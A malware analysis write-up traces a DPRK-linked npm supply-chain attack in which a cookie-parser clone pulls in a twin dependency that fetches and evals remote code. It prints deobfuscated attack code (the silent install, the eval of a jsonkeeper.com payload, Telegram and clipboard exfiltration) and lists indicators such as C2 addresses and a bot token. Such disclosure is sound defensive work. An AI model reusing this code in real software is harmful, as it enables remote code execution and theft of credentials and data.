clx-cookieparser: a cookie-parser clone whose evil twin is North Korean

Meme: 'DPRK hiding in your npm's? It's more likely than you think.'

The package you install is the genuine express cookie-parser, working middleware and passing tests included; the theft lives one swapped dependency away, in the attacker's twin clx-cookie-signature. That twin fetches a jsonkeeper.com blob and evals it, and the chain unrolls into BeaverTail dropping InvisibleFerret — the DPRK Contagious Interview kit, per dprk-research.kmsec.uk, exfiltrating through the same code and endpoint as web-dotenv did a week earlier.

Package metadata

Field Value
Name clx-cookieparser
Version 1.4.7
Publisher blockvanguard <contact@vynlence.com>
Author TJ Holowaychuk <tj@vision-media.ca>
Repository expressjs/cookie-parser
Dependency clx-cookie-signature

The version walk

The early versions are bait: 1.4.4 and 1.4.5 ship the real cookie-parser byte-identical, with the repository shorthand creeping closer to upstream each release. By 1.4.7 the repo string matches exactly and the payload is switched on.

Version index.js repository field Signing dependency Verdict
1.4.4 clean (cc0cdf98…) expressjs/clx-cookieparser cookie-signature (real) benign bait
1.4.5 clean (cc0cdf98…, identical) expressjs/cookieparser cookie-signature (real) benign bait
1.4.7 weaponized (1cbaf18…) expressjs/cookie-parser clx-cookie-signature (twin) live payload

Stage 1 — clx-cookieparser: the dependency swap

The weaponized 1.4.7 drops the real signing dependency and reaches for the attacker's twin, installing it on the spot if absent and exiting with a fake error if that fails. The parser below still works, so the developer sees green tests while the malice sits one require() away.

const { execSync } = require('child_process');
var signature;
try {
  signature = require('clx-cookie-signature')
} catch (err) {
  try {
    execSync(`npm install clx-cookie-signature --no-warnings --no-save --no-progress --loglevel silent`, { windowsHide: true });
    signature = require('clx-cookie-signature')
  } catch (error) {
    console.log(str); // "Error: This environment is not supported…"
    process.exit(1);
  }
}
Trait What it caught
objectives/supply-chain/impersonation/npm-clone::clx-cookieparser-cookie-parser-clone A package named clx-cookieparser carrying expressjs/cookie-parser as its repository
objectives/supply-chain/install-hook/scripts/dynamic-install::clx-cookieparser-runtime-stage-install execSync npm install of the twin at require-time, windowsHide: true
objectives/supply-chain/impersonation/npm-clone::cookie-parser-upstream-repo Repository shorthand points at expressjs/cookie-parser

Stage 2 — clx-cookie-signature: the courier

The twin is a faithful clone too, with one line bolted to the top: fetch a jsonkeeper.com blob and hand it straight to eval. A second jsonkeeper link sits beside it, hex-encoded and never called — a spare key under the mat for when the first one dies.

require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); });
// dormant backup, hex-encoded, never invoked:
//   https://www.jsonkeeper.com/b/HY6M6
Trait What it caught
objectives/command-and-control/dropper/delivery/fetch-eval::axios-jsonkeeper-content-eval-loader eval(r.data.content_o) on a jsonkeeper.com response
objectives/supply-chain/impersonation/npm-clone::clx-cookie-signature-upstream-clone Clones the cookie-signature identity (TJ Holowaychuk, visionmedia repo)
objectives/anti-static/obfuscation/encoding/hex::hex-pair-regex-decode /../g + fromCharCode decode behind the dormant HY6M6 link
objectives/command-and-control/infrastructure/paste::jsonkeeper cleave classifies jsonkeeper.com as paste-hosted delivery infrastructure

Stage 3 — the jsonkeeper loader

The bin holds two fields; the malware skips the Server running decoy and evals three chained functions. The first is the BeaverTail loader — install HTTP libs, beacon C2 with a campaign id, write 0001.dat, run it; the second geolocates the victim through ipinfo.io and DMs it to a Telegram bot; the third quietly exits if the hostname sits in a researcher/VM blocklist.

content_n → console.log('Server running')                 // decoy
content_o → function c2() { /* obfuscator.io loader, eval'd */ }

Deobfuscated, the c3 profiler is the bluntest part of the chain.

// Stage 3 c3(), deobfuscated — geolocate the victim, DM it to a Telegram bot
const g = await (await fetch('https://ipinfo.io/json?token=8e5005610fd390')).json();
await fetch('https://api.telegram.org/bot8201485511:AAF_…/sendMessage', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ chat_id: '8080359867',
    text: `Project is running...\n\nVisitor Info:\n IP: ${g.ip}, ${g.country}, ${g.city} ${g.longitude}` })
});
Trait What it caught
objectives/command-and-control/dropper/execution/network-stage::obfuscated-node-hidden-stage-scaffold Obfuscated Node loader: profile → install HTTP libs → beacon → write 0001.dat → run
objectives/anti-static/obfuscation/tools/js-obfuscator::obfuscated-eval-npm-trojan Full obfuscator.io toolkit wrapped around an eval
micro-behaviors/process/create/spawn::windowshide-obfuscated-expression windowsHide set through a computed expression

Stage 4 — 0001.dat: the InvisibleFerret kit

0001.dat is the orchestrator: re-obfuscated on every pull, it writes two modules to disk and spawns two more inline, and cleave tags two of them as Lazarus on the exfil endpoint alone.

Module Role Sink
scdata.js Socket.IO RAT — remote shell, node-pty terminal, mouse/keyboard, desktop control 216.126.225.83 (socket)
ldata.js Browser + wallet stealer — Login Data, macOS keychain, 12+ wallet extensions bundled upload
captured_spawn_11.js Recursive file grabber — .aws/.ssh/.claude dirs, *.env*/*secret phrase*/*metamask* http://216.126.224.220:5976/upload
captured_spawn_12.js Clipboard watcher — pbpaste / PowerShell Get-Clipboard http://216.126.225.83/npm-compiler.log

Deobfuscated, the clipboard watcher is the same routine web-dotenv ran.

// Stage 4 captured_spawn_12.js, deobfuscated — clipboard watcher
const clip = process.platform === 'darwin'
  ? execSync('pbpaste', { encoding: 'utf8' }).trim()
  : execSync('powershell -NoProfile -NonInteractive Get-Clipboard', { encoding: 'utf8', windowsHide: true }).trim();
await axios.post('http://216.126.225.83/npm-compiler.log',
  { message: clip, host: os.hostname(), uid: 'acd4ab…', t: '101' });
Trait What it caught
objectives/command-and-control/remote-command/control::node-socketio-remote-control-rat scdata.js: node-pty, mouseClick, keyTap, terminal I/O over Socket.IO
objectives/exfiltration/stealer/credential/browser::js-browser-wallet-upload-exfil ldata.js: MetaMask/Phantom/Coinbase extension IDs + Login Data
objectives/exfiltration/stealer/file::js-targeted-file-upload-exfil captured_spawn_11.js: scanDir over dev/config dirs → multipart upload
objectives/exfiltration/stealer/credential/clipboard::js-clipboard-exfil-external-ip captured_spawn_12.js: pbpaste / Get-Clipboard → literal IPv4
well-known/malware/dropper/lazarus::makelog-url scdata.js + captured_spawn_12.js: GlassWorm/Lazarus /api/service/makelog endpoint
objectives/credential-access/wallet/lazarus::wallet-extension-path ldata.js: /Local Extension Settings/ wallet path (Lazarus)
objectives/anti-analysis/vm-detect/vendor::comprehensive-evasion scdata.js checks for virtualbox and other hypervisors
objectives/evasion/masquerade/process/title::process-title-npm-masquerade ldata.js sets process.title to an npm-like name

Same operator as web-dotenv

This is the same kit as web-dotenv: the file grabber ships to its exact endpoint http://216.126.224.220:5976/upload, the clipboard watcher posts to the same /npm-compiler.log, and the target allow-list, obfuscator, userkey header, and jsonkeeper staging all match. A BeaverTail loader pulling an InvisibleFerret stealer through a fake npm dependency is the Contagious Interview playbook CrowdStrike pins on FAMOUS CHOLLIMA, and cleave reaches the verdict unprompted: the exfil endpoint trips its Lazarus makelog-url rule and the stealer trips a Lazarus wallet-path rule.

Indicators

Type Value
1.4.7 index.js SHA-256 1cbaf1823f0b004173454333a22b770fa1c36825b02b81bb258223c3fb6fc7b8
1.4.4 / 1.4.5 index.js SHA-256 cc0cdf989e892a9f282f17b7511133916ed90e9cb3fbb49db60fe44ce3aece56
1.4.7 tarball SHA-256 aa0717bcd8e84d37588654679f1b79b21ee81fd0b65aaf1ab4324f7e5ea13973
Companion index.js SHA-256 9eb97dcae23527bc66606235e0ad5d2c89692d311120dec3a636acf479e53047
Companion tarball SHA-256 5f22aac4634708cd73c3e2fc3e1ff94e2c4d48b0be8368351a2c707a8fd84819
Stage-2 loader https://www.jsonkeeper.com/b/MYUKZ
Stage-2 backup (dormant) https://www.jsonkeeper.com/b/HY6M6
Stage-3 geolocation source https://ipinfo.io/json?token=8e5005610fd390
Stage-3 Telegram exfil https://api.telegram.org/bot8201485511:AAF_K37O2EByZaAMns3K3AFfqUH-cVYQJ74/sendMessage (chat_id 8080359867)
Stage-3 sandbox blocklist Home PC, suraj, imran, Rishabh Verma, vboxuser, Shah faisal, Developer, Programador
Stage-3/4 C2 http://216.126.225.83/api/service/acd4ab512f1e10ba62a6f23b7038b725
Stage-4 loader $TMPDIR/0001.dat (re-obfuscated per fetch; snapshots b0eb15b8…, 3231629620…)
scdata.js (Socket.IO RAT) SHA-256 126d0ed4e6c29d54625884bedcd164af2c38bc887a198d03ad1cf0fd8fe9b761
ldata.js (browser/wallet stealer) SHA-256 38b4d90b63e49abd76fb8974379c9c75af032ab259cc138d1a88baf3c27dfaa3
captured_spawn_11.js (file grabber) SHA-256 0de58bc71e6a7f7e0fd1a174a1413765a727e460edd79386a0c0359b6b0498b0
captured_spawn_12.js (clipboard) SHA-256 98485250e2ed047b5f893fcdaa2a779614972063a4c3587b9046256b0ddb8b45
File exfil http://216.126.224.220:5976/upload (multipart)
Clipboard exfil http://216.126.225.83/npm-compiler.log
RAT C2 216.126.225.83 (Socket.IO), /api/service/makelog
Hosting 216.126.224.0/22 (Tier.Net)

← All discoveries